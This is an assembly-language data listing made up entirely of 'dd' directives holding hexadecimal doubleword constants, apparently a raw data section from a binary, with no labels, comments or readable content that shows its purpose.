		dd 0C04A0024h, 29130467h, 0D248FD87h, 1D8C80C8h, 0D15CDAh
		dd 29F9D380h, 0BFBC7179h, 2D106505h, 0C100B28Ah, 76EE3504h
		dd 0C438A314h, 70DCF940h, 813E3415h, 80E45C25h,	0F6F5D99Eh
		dd 0C97A00FEh, 5B9BEADAh, 0EE00B20Dh, 9156A920h, 0B874A5h
		dd 4C08235Ah, 7F182A17h
		dd 8FA0124h, 0F3D10680h, 718521h, 0CFF91D93h, 0C1034924h
		dd 392FA106h, 713A36h, 3471E146h, 0D0AE66AAh, 0E78D20EDh
		dd 0C5879C0Bh, 48601098h, 42974F6h, 0BE8D5049h,	1804C199h
		dd 3E6E442h, 272E8C4h, 5E3CB840h, 386036C2h, 0A9278A69h
		dd 39280045h, 3A29FA69h, 0C3ABFE1h, 9C11A675h, 0C27D216h
		dd 6985E880h, 7A0D7E8Eh, 598F622Dh, 0A2879F46h,	0C45367F0h
		dd 0E5D780EFh, 0FC79B288h, 9E1EEE04h, 0CB0D91Ah, 70EF4EB6h
		dd 0DC40309Ch, 0FAF67800h, 0D9D0B6C7h, 420C9089h, 3C2203h
		dd 5BB481A5h, 73D7BE7Fh, 7E9BDD00h, 0C3BB7530h,	0A8A21418h
		dd 0BF0880CFh, 13800AADh, 81DC5CBh, 0E850063h, 780DF4D8h
		dd 0F0B116EEh, 1D4AF500h, 9F2FEA6h, 0C2563CB9h,	441F5882h
		dd 9108940Ah, 39B98331h, 610912D2h, 82ADC2F0h, 0A417EECAh
		dd 880784h, 0BE821DAEh,	62F2007Ch, 0E1FB49A7h, 3B218602h
		dd 0E1C76F9Ah, 44D48F20h, 6E511595h, 0F6109C56h, 0CC202B2Bh
		dd 95BFC200h, 26C38D98h, 98CB8AEh, 0A809A64Bh, 4800080Fh
		dd 37CFF3FBh, 46B13660h, 5077735Dh, 184ACB0Ah, 62FE5001h
		dd 8322514h, 600F29B9h,	0A8DE3Ch, 0D644D5C8h, 0B6D93F10h
		dd 0D64AC12h, 4D70100h,	12565Ch, 0DEBFED2Eh, 2A0AB8B1h
		dd 0BA4A9C04h, 0A837B4Ch, 0A4C3F7h, 0B5E6DF59h,	5EA0F4D7h
		dd 8800D0B2h, 76E52A09h, 0DFA28AE2h, 0A76C06C0h, 101C180Fh
		dd 0CE03B0C8h, 0B063532Dh, 48174A8Ah, 6C06E442h, 0E8775576h
		dd 0B649E000h, 2ED8EE1Bh, 31360E8Ah, 7740CCC8h,	0F6138C9Bh
		dd 40DF9430h, 807BF538h, 75401F9Eh, 0F0BA188Bh,	0B4C218FAh
		dd 3F409C58h, 66A861D8h, 8A002B62h, 4781D33Dh, 631A43F0h
		dd 16DE3082h, 7F1015B0h, 8748202Ch, 221E832h, 0DE100FE2h
		dd 3B2184D6h, 2A0C40Eh,	217B4DCAh, 0FC3DDCh, 47FE85F3h
		dd 5408D36Eh, 4D0A0E4h,	0D2B8ED4Fh, 9058970Dh, 0EF5FA511h
		dd 4A7ACB03h, 0E0A1F812h, 0E0619DB5h, 0A9B400C8h, 0B7E1DD72h
		dd 0B0091B23h, 17DE5Ch,	36A3C540h, 0EA86129Ah, 18500030h
		dd 4C35F083h, 9D5FB809h, 97E8400Eh, 0CB7818B2h,	1266C803h
		dd 0CFF75801h, 3DB36019h, 204D1820h, 0C0FD03C8h, 20A7AAFFh
		dd 0C954F188h, 0E6008444h, 554F66E1h, 8AABD2h, 5605D4A1h
		dd 300E3D1Dh, 8E11C53Ah, 0A098FF22h, 70E52D73h,	0B6E70346h
		dd 62357984h, 20071EF9h, 11ED89F4h, 0A450E816h,	5EE011h
		dd 54673E51h, 0D2FFD3E2h, 19151B05h, 0D0C0DC42h, 26EA338Ah
		dd 0BC812E6h, 4A3735h, 4601CFF0h, 1CE9A3B6h, 898DB8Eh
		dd 0A8CE2127h, 0AC708800h, 0B819C21Bh, 7ADA2874h, 8A720BB8h
		dd 7C8FC62Eh, 928C1183h, 103CE4EBh, 0A0E9FBh, 7499811Ch
		dd 5C0FF865h, 1F870422h, 7E62E52h, 0E40011C8h, 72BE70BAh
		dd 331BD3A3h, 0FD085345h, 410E2103h, 0C0C14A70h, 0A4681DBh
		dd 0CA10A27Ch, 84C24C4h, 0B617D956h, 1CAD1404h,	0ED782C90h
		dd 9627015Ah, 9FC9FB83h, 7B0898F3h, 0E55221h, 2CAA8E5Ah
		dd 0E364021Ch, 0A6D21602h, 61BC6295h, 0F85020E0h, 2641C581h
		dd 814C1B17h, 0ECDC24FFh, 3373EC60h, 8099833h, 0A6E900F0h
		dd 0C155DC3Ch, 6E01CD35h, 3A92125Bh, 0C850FECEh, 0FD2E82C7h
		dd 0D05FA450h, 0A4FA0023h, 0C2190CB2h, 0DC093602h, 2378C72h
		dd 0C0E2B799h, 7D24F8h,	3144E389h, 7EEB6471h, 9E1DEC00h
		dd 30732521h, 2310005Dh, 0C2D0558Fh, 0CA00870Dh, 0E2C793F3h
		dd 1FF07AC1h, 4046AE92h, 0D6F1A7E9h, 0EF718319h, 86FA7803h
		dd 0ED906Fh, 54241730h,	1ED72857h, 81464A00h, 9ABE1D9Dh
		dd 0E0B00082h, 694DCEA8h, 0CA2CBA5Bh, 0E60117E8h, 0E793EE77h
		dd 0C4E50C8h, 94F301CCh, 0A6068E20h, 9807570Eh,	0D9ED0090h
		dd 8F4AE715h, 0DD3E582Dh, 0D26F83CAh, 0D03BC09Eh, 3857910h
		dd 93C448D1h, 39039B67h, 0E7014FCAh, 0B558009Fh, 801C6110h
		dd 6F0393FAh, 99C4504Bh, 9069E0E7h, 0CBCE0226h,	4FC56D38h
		dd 87B4BA41h, 0CC979838h, 0A62853B3h, 0BEF51C30h, 6E160EEBh
		dd 4668A6E0h, 1C0381FDh, 1718E370h, 938002D5h, 0B1BE214Ch
		dd 8B0603h, 9695F999h, 72BFE071h, 0EA2C6507h, 6EB0F2B6h
		dd 0E920912h, 0AC90C370h, 0F363F7C0h, 0BF0ECC37h, 0E3DCB31Ah
		dd 43CD7C2Fh, 0F3EC0410h, 10F16530h, 0B62214h, 0BBA5C61Fh
		dd 30B4E44Ch, 0D9C1C800h, 22DBF3B9h, 14F93EA7h,	0CF29AA31h
		dd 323A0073h, 7A9600A4h, 1C6B63F5h, 0FE033C2Ah,	206A7CA1h
		dd 0E486910Bh, 0FC25D4h, 0C8150DCBh, 10BC4583h,	0F834CC00h
		dd 853E9A2Dh, 0E4D700B3h, 0AB50E674h, 9F03F413h, 0AEC03F90h
		dd 8F978005h, 702F1AA0h, 0FE0010AFh, 8ED01A94h,	37A6A07h
		dd 15B738BDh, 0E193EF30h, 66A90F4Fh, 0F008C53h,	0E4AFF268h
		dd 51DD4614h, 0CA007C80h, 0BB9C70C3h, 1BA3B38h,	9A920A3Ah
		dd 80E20F54h, 7B974840h, 0C390AFh, 0E6A237F5h, 0C60D8AC8h
		dd 0F9951007h, 2740C968h, 52F01h, 98DFB81Dh, 2D6DD004h
		dd 42DD3Ch, 0E2CF6892h,	0A9954E1h, 71BE4456h, 0A27B00C4h
		dd 3CFB3719h, 0A1C3CE30h, 0A5D680Ch, 0DB349B56h, 5A2D0088h
		dd 2779811h, 0E495B200h, 0E57FD7BEh, 0BBED484Ch, 20420D03h
		dd 1898C1F0h, 45005564h, 0A581A271h, 96F280h, 6AB51FCAh
		dd 2AB927EDh, 0ADE74200h, 328CD84Ah, 0B04400DFh, 687A9A01h
		dd 0D50170A3h, 0F9720F0Eh, 3AE066D4h, 8D5B00DDh, 0A8797F09h
		dd 5A098B67h, 9E8F30h, 0DB88462Ch, 26B70037h, 606114ECh
		dd 0BF1DDFD3h, 74811B4Fh, 29C9AD66h, 13EE95F4h,	23DB44h
		dd 0C79AFCDCh, 2400B840h, 552B2A8Dh, 58643Bh, 93DFBBF1h
		dd 9660AD6Dh, 921AB905h, 0D0403035h, 9D90F7D7h,	0E0C5555Ah
		dd 0AC98DCh, 0B9FF13F4h, 0D4B1D5B6h, 2235CC07h,	911F7A2h
		dd 589DF087h, 0F30F00B7h, 8DD59DD9h, 0CA00C875h, 0EF49E82Ch
		dd 92046D7Ch, 0C91E448h, 0E582F871h, 0D1987510h, 0D47C1F00h
		dd 2ACE0980h, 147A2423h, 0A68D07B0h, 0F91F7007h, 6700AFFFh
		dd 2762BFBEh, 0EA446E0h, 8801D478h, 479FB1A0h, 54006183h
		dd 0ED38F50Ch, 14447E58h, 0FAB217F9h, 0C86E5B06h, 6F0378E7h
		dd 0EDF0FD68h, 15C2D084h, 0ADD224BCh, 0CE500450h, 0BA47C321h
		dd 8CFCF803h, 7A3AB801h, 0FD6000E1h, 213DC564h,	6C0F8AF4h
		dd 24563124h, 48807D66h, 2BBEC2h, 49594FCEh, 2376B972h
		dd 119258h, 2FB89767h, 19DDBD88h, 58A0FD0Bh, 0AA8CE079h
		dd 8578CB78h, 8344A31Ch, 0BF6506C1h, 68C698B8h,	548DA43Ch
		dd 48ECD86Ah, 0E900E4BEh, 82FD2779h, 0BBE00DBAh, 9AD7A100h
		dd 9FEED9D8h, 0B88C30F2h, 0D1655C40h, 4E141600h, 0C5FFCEAh
		dd 255E0318h, 0A6F4E220h, 0C8ED4AC9h, 5A26A234h, 0A301E3B3h
		dd 0F695BC9Ch, 7A871820h, 0F1D200D5h, 17E9AFD7h, 0BC090648h
		dd 0BF2C43h, 0FBA39B20h, 0C7E800CBh, 574F7BFCh,	7F0E02ABh
		dd 43CE1216h, 0B97D56A3h, 0C1C02F91h, 0F27000F0h, 3067DC47h
		dd 6C076669h, 0D42C2B42h, 0C22E9F80h, 31F0AA1h,	81B42AB6h
		dd 3DF85335h, 87B9F0AFh, 0F054EC05h, 8C0D745h, 4AEF7Eh
		dd 0B45547F6h, 4C77F71Eh, 8E8D6803h, 0B8C61334h, 0FAA41EBh
		dd 0C2CE3DB1h, 65027E3h, 0D40E8680h, 94122900h,	9D625231h
		dd 344C0705h, 903AAFB2h, 91E158FBh, 11611713h, 0C740381Ch
		dd 0CBF2A57Bh, 8CC900EEh, 787DC39Eh, 88004748h,	0CCE70C07h
		dd 2E460A39h, 59F47Eh
		dd 6A1658Fh, 8CFE3A04h,	79D6610Fh, 5E3E2012h, 70288F2h
		dd 4EDD45A6h, 383D202Eh, 871F4C1Ah, 61C02728h, 36720A3Bh
		dd 20130A9Eh, 0D1E648h,	0A8045EBFh, 114C0932h, 0F61600A8h
		dd 0F34792FAh, 25620F78h, 0E6804376h, 0D5B311AAh, 3E6F6403h
		dd 0F84A96CBh, 889F9Eh,	0A629ECF9h, 0E893A232h,	444FEE24h
		dd 0C1C0BA90h, 94031BCEh, 0C7B99C04h, 9893E01Dh, 8354E19Ah
		dd 0C3DEE0EEh, 0A779017Ch, 9313B66Dh, 37ABE8C9h, 2CA87A00h
		dd 3BBE764Bh, 0E1E00EAh, 5F4361A4h, 0CC00A6B4h,	0BD52EF84h
		dd 0E8ABBF78h, 0F1C00097h, 0D8B88734h, 0EA61EB66h, 14A22D20h
		dd 69611071h, 62E9F4h, 40940AAFh, 0A29A5EF2h, 90F98E2h
		dd 2071705Bh, 2D8C25B9h, 72A82C89h, 0E48A80F0h,	132A3655h
		dd 90514C00h, 832B5D21h, 38880028h, 465F02A5h, 8F022F96h
		dd 4504AF55h, 3208805Ch, 29241Bh, 6263338Ah, 9BA44201h
		dd 18305Dh, 16BC487Ch, 1F64E947h, 8C90D06Dh, 93807F5Eh
		dd 6974DF78h, 0FA4AE60Bh, 9B38A216h, 4C002F9Eh,	4278366Dh
		dd 142F9D74h, 0FAC7C2Bh, 0F3807D43h, 9F9B84B1h,	654218A0h
		dd 803D18DEh, 131C0516h, 34417C9h, 0B40F1278h, 4AE13694h
		dd 0F93840C5h, 43009030h, 0B2F18795h, 74B51082h, 9875EAA1h
		dd 0CE3900DFh, 0ADEED7B8h, 0DD1CBE55h, 62C0DAD8h, 81D0A61Dh
		dd 28F200D3h, 31E3C6Fh,	0C400F495h, 0A609D811h,	3FD3AEC6h
		dd 3700A24Ch, 0ECFB4807h, 0CE005744h, 66AB8B2Fh, 69C53Dh
		dd 3FE61BBFh, 0BD0CE721h, 0D73BBC01h, 1E291957h, 0E351C4h
		dd 0E7BB2ACFh, 0D5E93F94h, 6FA5D901h, 88C0AEDAh, 0F64C26C0h
		dd 93B21D15h, 0ED57C08Ch, 7F3328DCh, 80CD493Ch,	0FEC99582h
		dd 0E019F5F7h, 16CF1CA2h, 388EAB3h, 0C149667Ah,	3B88C7B2h
		dd 18C073D9h, 72F6A16Dh, 4BC60307h, 4E7F1AA3h, 0F9949094h
		dd 0C2003097h, 25B110B6h, 6627332h, 0F0A7A247h,	0E90018DFh
		dd 0C464ED4Eh, 78CAACCEh, 903071F5h, 0D430FFACh, 0E9B20AF7h
		dd 93E8FAF2h, 56190046h, 8CF9B9D3h, 6FEC4007h, 9B80DE6Bh
		dd 0DFA87186h, 3F140328h, 91E3C1D5h, 99C0A673h,	7EEAB6C8h
		dd 6833606Ch, 77C2971Eh, 0EF108100h, 0D8A7159Dh, 0F3A0C3C6h
		dd 803AB8B7h, 0A18F40EBh, 708074C1h, 0E2A11446h, 0B411EF28h
		dd 6F00970Bh, 22F79F1h,	0E80EB7C6h, 74B6F093h, 0C9430094h
		dd 91A52D9Ah, 194A97h, 0AC7EEBE0h, 91C2C2EFh, 10875ED3h
		dd 0C040E8BFh, 48C18FDh, 0D138C80Bh, 0FFE86B61h, 681ADE69h
		dd 5FE07459h, 244EE8D5h, 168038Ah, 0E91C9712h, 46CC40ABh
		dd 18C01D90h, 0A50C1A35h, 9F59C09Dh, 13153342h,	0F0D0560Ch
		dd 0C080093Ah, 334A7F21h, 730013A8h, 0F9DE9511h, 281C4202h
		dd 7F90273Bh, 18B198E9h, 0D8F12897h, 84A02598h,	6924CD0Ah
		dd 1BC30F2h, 58F916DCh,	0E02021F5h, 83165FDh, 69C4B38h
		dd 80569387h, 0F1B4E2ABh, 900437Bh, 413C5EAFh, 28E52F67h
		dd 36DCCA20h, 0A980CD07h, 0FD70BF17h, 0EF31B000h, 0FF089C7Eh
		dd 800DF191h, 13123343h, 83448C2Eh, 334B017Ah, 0E00A53F2h
		dd 0E96930C5h, 6F12C709h, 0EF7420C9h, 0A114D05Eh, 59181730h
		dd 1321337Eh, 4144C07Eh, 0B0B09333h, 0E1089517h, 4821FF0Dh
		dd 0B9985898h, 8A00DA10h, 7EAA79A1h, 24B05Fh, 899F601Eh
		dd 0C38B0CF1h, 3DD96B00h, 7C69DB91h, 79ED00ECh,	7364E6FEh
		dd 0B73A419Dh, 0F91B0071h, 58EF549Ah, 0B55E021Ch, 0AB865948h
		dd 48C005E2h, 0DE5A244Eh, 160040E8h, 4FE2B84Dh,	410940D4h
		dd 55A85562h, 27422880h, 5C00A4C7h, 8029FF25h, 1C0E6B8Fh
		dd 41242E0Fh, 0A3392DE8h, 21D0E410h, 4A08B300h,	0A4AEE095h
		dd 92530EABh, 84609032h, 2B3BF101h, 265E8C3Dh, 79074B55h
		dd 0EA4012ADh, 0C06DEB8h, 34C04598h, 6000CB3Ah,	5287502Ch
		dd 786CAFD4h, 9FA90157h, 0C7B4395Bh, 431A136h, 609FAFF0h
		dd 4CD01053h, 320023CAh, 0A050412Ah, 387A3Ch, 0AFC25EFBh
		dd 0DDEFA236h, 0A7512719h, 61095529h, 0D2299025h, 48A1F284h
		dd 91B64289h, 22A37E22h, 7D24ACFFh, 1292DB21h, 0BFE810DAh
		dd 0DF089189h, 84E6E744h, 42B83622h, 943411A5h,	0CF048222h
		dd 0BFBD5C26h, 9B0AFBC1h, 55D9D4h, 12187D60h, 47C3B9A2h
		dd 0A9B2F600h, 4DEA6B82h, 35BD00CBh, 969F783h, 0E2983250h
		dd 7D36E400h, 81B9FA41h, 3CD51F1Ch, 0C0885E9Ch,	653D327Eh
		dd 0B0003618h, 3568AB23h, 0B876AAh, 857A3461h, 54FD781h
		dd 0A612CC0Fh, 0E0230048h, 7683C7B5h, 55140072h, 264C2A8Eh
		dd 0B0003DF1h, 86CCF795h, 0F4F60D82h, 5E200054h, 2B8AA469h
		dd 3F00B434h, 0AB6D42D2h, 9CFB79h, 9D3055B1h, 0D5C0546h
		dd 80377B3Bh, 9880D6C8h, 0E5042EDAh, 67092981h,	0EC0AF6B9h
		dd 8398BCC3h, 0A37DD11Dh, 4BF72580h, 77635F24h,	690C0FD4h
		dd 59A037D6h, 9F5D4DB5h, 0BE958000h, 0A7C71857h, 1193609Eh
		dd 0CE33D429h, 6E15A000h, 0C5A32AB3h, 2E489278h, 20EA049Fh
		dd 42D401C0h, 17CBE451h, 0E7BAC457h, 0B774FD00h, 0F6DAAD09h
		dd 0BCD00049h, 0D1640324h, 52072E30h, 892017ACh, 9BBD12E0h
		dd 84881ED0h, 94983DFEh, 69926842h, 627C1900h, 540A912Bh
		dd 2A170ACCh, 3B020F5h,	0B412DC08h, 6B86FCD0h, 0E5873700h
		dd 5709187Ch, 55B20013h, 0AC044C61h, 1600B9A4h,	188BA1C7h
		dd 2C91BCB4h, 164DCDFDh, 7D9E0075h, 0F7B72820h,	0CC87A50Ah
		dd 0DE00B0AFh, 7AD389FFh, 7410C0D2h, 8D27AADDh,	0B0C59800h
		dd 19A63809h, 9D6F0056h, 0C76ABCC1h, 40033DCh, 0A17A8BABh
		dd 76607281h, 0A9D30065h, 94AF1B8h, 8500CA32h, 9CFAB579h
		dd 8E0D90h, 3C7897E5h, 70CE982h, 0A66B5500h, 0C2F606ECh
		dd 0F74801FEh, 1A52E009h, 0FC4F3068h, 6E098C77h, 434664h
		dd 85791738h, 90150BC8h, 0B8802B07h, 66A5DA99h,	0FDD04100h
		dd 51012F58h, 7454005Fh, 0F523EE95h, 0E6309846h, 20C1296Bh
		dd 0B67E0015h, 17053803h, 0E30509F1h, 4C74063Eh, 1394D000h
		dd 7BA161h, 0D7CE3B5Eh,	389791Ah, 0E72C591Eh, 9B522440h
		dd 0D8C631h, 19EE06Eh, 0B1694957h, 9DE4931Ch, 5EA02E80h
		dd 24F89A1Eh, 1CCCC63Dh, 9C1840C0h, 0E68E7D07h,	370095E8h
		dd 19FE5EDh, 7FF0355h, 7CC7C331h, 3EE7C00Dh, 0E001B46Ch
		dd 0B85BD6C9h, 9DD53A30h, 9088B820h, 0A55C00F1h, 677AFACEh
		dd 310D1548h, 70D135D8h, 145836F0h, 0D8D613B7h,	0CFDE0F7Dh
		dd 83012128h, 34E2C004h, 1A0E49C4h, 206094F3h, 0CE3CC548h
		dd 0E7465027h, 0E8E424F1h, 0A8FA00E8h, 6F39E7C8h, 0EA2B3507h
		dd 10E9BF2h, 345CE82Eh,	98B26020h, 8DD40008h, 47245445h
		dd 25248E4Ah, 0E40098A7h, 8FE2BFDh, 0C55730F7h,	33E71698h
		dd 80E5BF00h, 0D5DA62E6h, 0A9830090h, 0EB32E893h, 28FAB9C9h
		dd 0A103B007h, 2D706249h, 18953E9h, 7629373Fh, 0D8DD27E8h
		dd 1000F105h, 16CF99B7h, 0E6CBC78h, 0F4562FFEh,	778469A0h
		dd 74024863h, 0C65BF294h, 4866E4h, 9BF8E5CFh, 781DE49h
		dd 10A3938h, 0BE67216h,	98400CA9h, 7578F6AAh, 17090006h
		dd 0D0CEA13Bh, 30006CE1h, 0CC8440BEh, 7E2F73Ah,	0BDBBA069h
		dd 0D70E329h, 0B0BCA580h, 7B615400h, 0F701E9FEh, 55C81FB7h
		dd 9F8740D8h, 3AF4AC71h, 17F2D8FBh, 33A65302h, 60AAFBD0h
		dd 11221Fh, 0F89457FEh,	0AE3C95CEh, 9FC3F507h, 5D607E6Ah
		dd 0F2EDE905h, 647C94h
		dd 3ECB33C4h, 141E34BDh, 0C6E08C03h, 0E0620649h, 0AD43159h
		dd 9D6BDE4Dh, 7E13F4h, 0F4BD13F5h, 2731E6B8h, 1EC61893h
		dd 6003836h, 0C952D6F0h, 30005EEAh, 13329A64h, 37F187h
		dd 0EDC63859h, 3F33B6CBh, 8B920C39h, 0A0EEFBA5h, 97A75318h
		dd 23673888h, 596B7C00h, 57052B1h, 7E01C498h, 43BBD31Bh
		dd 0DFD05DF3h, 0BFF602D8h, 3282E634h, 0C8779881h, 0A2A9C386h
		dd 855E0D5h, 0D7663E00h, 0B749FF8Dh, 6F19069Fh,	79B201B4h
		dd 0A411B30Eh, 0CB40FE5Dh, 39F17C64h, 0E057F2Dh, 0BE7FA2F3h
		dd 7A80816Fh, 0B8DA6EB5h, 60A6D524h, 42F3B401h,	2860A908h
		dd 64A0002Dh, 7EFC960Eh, 6702742Fh, 0E5AC13DDh,	0AD55C078h
		dd 0E0F000C3h, 27B23F8Ch, 1E003AEBh, 0B5D3EE45h, 1956960Bh
		dd 0AE92DD9Bh, 764CE008h, 0AF997528h, 908E1D00h, 0A5B669FAh
		dd 0A22300F8h, 27A65B61h, 4C3D2975h, 0B56C8124h, 0BF760C06h
		dd 0EDE096h, 0D3C74F64h, 6D033E1Bh, 6E17943Fh, 68809593h
		dd 123BE3F2h, 3B9EB2Fh,	0BEDA9D98h, 91A7E000h, 1B1530F4h
		dd 934917E1h, 0B1D84334h, 80AD4FF7h, 0F41DE318h, 0DDC73800h
		dd 845A8FD6h, 334CBEh, 28D7378h, 465C73C5h, 8040A560h
		dd 69099F32h, 8091C705h, 0CCC25F80h, 0B04CFC29h, 48D40B30h
		dd 5F00F521h, 78AE94B3h, 2433E100h, 8473B874h, 0C37206ADh
		dd 18E03B5Ch, 58C905Ch,	2B517A09h, 3230AAC0h, 5AA21716h
		dd 49CB0C57h, 8C3A5DB8h, 0F0088041h, 621383B4h,	0C88662E8h
		dd 3BE0804Dh, 3A0F6418h, 407B8FC4h, 8A8811A9h, 0BF7C5CB7h
		dd 0FAE5500h, 19597739h, 0A687623Ah, 2400E65Dh,	0AA9412FFh
		dd 0BA741220h, 57900036h, 0D59FC914h, 0C14F4400h, 3D0BBDE0h
		dd 3E707Ah, 10E8619h, 8C7480CEh, 0F35E8800h, 76FB7F98h
		dd 5AC53DACh, 0B0AD9Dh,	38C616CBh, 880FE675h, 37692CB5h
		dd 0CFB8FC30h, 0BE081EC1h, 764287B2h, 0DB24A25Ah, 91D20440h
		dd 4000FB74h, 0FCD30C6Ah, 0E0F3A9h, 0C83B5138h,	92CD8003h
		dd 0B58DB209h, 7354008Eh, 0BA54BBA6h, 74090078h, 527B65Dh
		dd 5124C193h, 0E80F20E1h, 5A8CE045h, 0F79434Eh,	9C5374D2h
		dd 109291EEh, 7A00E7ACh, 0A91D7B13h, 0A35C59D8h, 0DA790074h
		dd 8A37FCDDh, 0A5720E4Ah, 632087ACh, 7F6D88DEh,	73AB5602h
		dd 43DC67C7h, 3F83C828h, 6E6906C0h, 607B4132h, 2B90D801h
		dd 6FFB255Fh, 0AC03E4h,	978EDEB6h, 0A9C0C174h, 301870FFh
		dd 2F0BA301h, 244BB725h, 108FF03Fh, 6D730E01h, 0B244D8F2h
		dd 0A726D4h, 3482243Ch,	0B581A04Fh, 91BAF71Ch, 9AFB2DC1h
		dd 0E4208A53h, 73380E4Ah, 9EC06E45h, 63FC3719h,	21411400h
		dd 385D03A3h, 3AA9002Ch, 0ECF60D34h, 0F16E31Fh,	0B840BD76h
		dd 18876977h, 60D8F4CCh, 71859821h, 914968BEh, 0EB1A00B8h
		dd 7479D1A4h, 99B400CBh, 776AA066h, 51F84C1h, 0A83EE463h
		dd 5E0B88F6h, 0E1CCD13h, 24552064h, 72F2BAh, 0DD1A61D6h
		dd 196964F6h, 864AECE7h, 9706C778h, 4BFFDA67h, 8F100070h
		dd 0CA500509h, 0E49A42ADh, 0D5481D00h, 81BA6BA2h, 0BE0F01FBh
		dd 4C7A225Ah, 84B3F482h, 4F04BD00h, 0BAF96141h,	7CC20283h
		dd 0F2D9648Eh, 319444E0h, 9C807EE5h, 168D67AAh,	6FDD0Fh
		dd 0FD25019Fh, 784A2679h, 0EA168412h, 6DA11C00h, 1D22CBFAh
		dd 0D9A846h, 0D887A447h, 0B604FDEAh, 9B202739h,	0E07FC4C2h
		dd 2E10D7D6h, 0A78B24h,	9819211Ah, 0D30089F5h, 0C7ECF7D5h
		dd 95BB010h, 96BB26D8h,	0B9E0AD80h, 0F400D7A5h,	6ED562F1h
		dd 1FF565ECh, 80ADE119h, 16896C0Bh, 2A00ED0Fh, 75601A26h
		dd 0DD8FABh, 0ADD9B558h, 1180B76Eh, 1B00F9EEh, 4BF30743h
		dd 1DBA490h, 5C9B4EEFh,	0E8F07FE4h, 832441E7h, 0EE1304C6h
		dd 703CD441h, 20D831DCh, 0E888009Eh, 0EE28C56Bh, 7A008346h
		dd 239D97D3h, 16DB4139h, 0B81B61h, 9A30E050h, 340011AAh
		dd 4D2DC6FFh, 5A36B03h,	0DF6EB0ECh, 9EB0C02Fh, 9F00519Bh
		dd 384D017Fh, 41CBCAh, 5B9607D1h, 8522D732h, 0BD1F657Bh
		dd 0C982138Fh, 0C0308EA1h, 1686004h, 3DEADC63h,	0DD9F096Bh
		dd 0BAFBDC4Ah, 85D62800h, 0F30513A8h, 6E5F000Ch, 0F6C8F2DCh
		dd 0ED7B15E8h, 8342263Bh, 772A568Ah, 701CB8DEh,	3EAC03AEh
		dd 112E318Ch, 3740A8A0h, 2354F701h, 5DB1DC94h, 0F2704474h
		dd 0EAAD00A7h, 954AF14Eh, 7A03B9C3h, 86DB3CE8h,	0EC110030h
		dd 0D844E184h, 7C00678Ch, 4A667D21h, 57A1CDh, 0A4E8B6B8h
		dd 0B385AFF9h, 83E37300h, 6BAFEDEh, 0D6F81D6Dh,	0A4E1402Ah
		dd 9A2CF523h, 101FFD00h, 723B4770h, 0EB6F0744h,	804D2A5Ch
		dd 7D871522h, 0BAC9A0Ch, 0F0A418EAh, 5B2C00AFh,	0D258B00Ah
		dd 0F500EDCEh, 0EB074581h, 0B7049Ch, 0F8B14CADh, 0E297EC1h
		dd 0E4615B00h, 0F38958C0h, 0CC30004h, 2E3AFD44h, 0CF00EB05h
		dd 197963D3h, 7DF174h, 13BC5567h, 7E5E8058h, 0FA9DB20Bh
		dd 9BEF809Ah, 0EF1A75h,	3901DC71h, 368316B7h, 0A3AAB50Eh
		dd 15DFA190h, 44347957h, 8B2B80D6h, 245E0426h, 1053803Ah
		dd 0B33A9E2h, 0EBD13A73h, 79652EF4h, 16FA01B8h,	20ABE268h
		dd 84E643BCh, 0AE45EE00h, 0F0172477h, 591401DBh, 66D6887Ah
		dd 8028B991h, 27BE13Ch,	0EC722Fh, 0F2F8B404h, 18D642EDh
		dd 53BB7100h, 0FEC419ACh, 0F0B0DEh, 0F717CD01h,	0EA949DE5h
		dd 8B72DC00h, 0CC79AE93h, 8F071218h, 6E7004AFh,	902684D4h
		dd 9A3D5A70h, 5D7E72F0h, 13006173h, 0E4EF2921h,	0CF7AEBh
		dd 0E00FBCC0h, 8F6DDB67h, 81B5DE00h, 6B4D90EEh,	0EE4EF636h
		dd 37BF0061h, 7FEFF991h, 0FE005EA5h, 8FADCFCDh,	0B08E71h
		dd 28520355h, 1785BFC9h, 0C3E43302h, 0C00E39B8h, 7F40C8h
		dd 0F88F4790h, 0CB912394h, 7E1B1D3Ch, 5B7039h, 0A9D662E4h
		dd 0DF727Dh, 3DDC01D7h,	273816BEh, 0FF8B9A00h, 300EA36Ch
		dd 91B807D9h, 50B0738Ah, 0AD4DB3ECh, 0FF09700h,	5A9B28E7h
		dd 0BD6F13F9h, 0E268C041h, 7C04B470h, 94406C46h, 0DD3FB280h
		dd 0B89F0B79h, 14054E89h, 8494848Bh, 683CD728h,	9B79942Ah
		dd 0B70968B8h, 813ABCDAh, 0C9339C00h, 0B3D3CC0h, 0ACBB5077h
		dd 0FE946480h, 0EE0F3FE2h, 2482932h, 4035210Dh,	137EF234h
		dd 0B24E50h, 560A932Ch,	0DA006648h, 398F668h, 5CA254h
		dd 73A83158h, 0B8A40106h, 6D0028E4h, 9AEF1974h,	4B1B0C3h
		dd 0A02FCF7Fh, 7E488742h, 7C15E900h, 130020BFh,	0CEC50969h
		dd 0F3A8F91h, 0C93FB4D0h, 0E615A280h, 0DE2CE402h, 0B713B83Bh
		dd 34422201h, 40EE52DAh, 121FF554h, 0EF8406h, 18B3672Ch
		dd 0A800CA8Dh, 0FF1DF265h, 84C826h, 0D0277F69h,	8BD4E294h
		dd 313ACD01h, 782E14A2h, 75FF4680h, 0C441ECA5h,	6F79A00h
		dd 279F92Bh, 1B3FEA2h, 0B78F281Dh, 0F46C7B11h, 8D0F2C24h
		dd 0C24BD18Bh, 60BDC0A0h, 8039BBh, 83AFB9DEh, 150CAD78h
		dd 26A77E00h, 5E728209h, 89403FBEh, 0BAAA4107h,	80F43466h
		dd 6E09AF17h, 464E48h, 535690B5h, 551298Fh, 43D16096h
		dd 1CF80047h, 5C19ED8Bh, 0B6B1C600h, 21E5931Eh,	86C10084h
		dd 0FF9D564Fh, 5E0EAA33h, 60081626h, 0C020AF64h, 6D1B005Fh
		dd 2FC67325h, 0C20BE039h, 1FC4570h, 20B828FCh, 0F413446Ch
		dd 830900D3h, 0ABC0C223h, 7383148h, 0A033CED1h,	6F611420h
		dd 3B2739C8h, 700F00F2h, 21D5F366h, 8739B1CAh, 0FF9B83D6h
		dd 0C8520BA0h, 168C8DBh
		dd 55089947h, 0E0AE86AAh, 20B818D3h, 1A943260h,	0F78F3h
		dd 0FE74D24Fh, 993DF1C4h, 0E934D500h, 0EF2B1AB1h, 32DE00A9h
		dd 0FE479CA0h, 0C0C0DDCCh, 69F786AFh, 241598BFh, 3A1C2A5Bh
		dd 318A18E1h, 0CAFC6073h, 0E1182D6Fh, 2172B67Eh, 3FF44021h
		dd 99EB0031h, 8A3556F7h, 160C23FBh, 115FEF30h, 3CE7031Eh
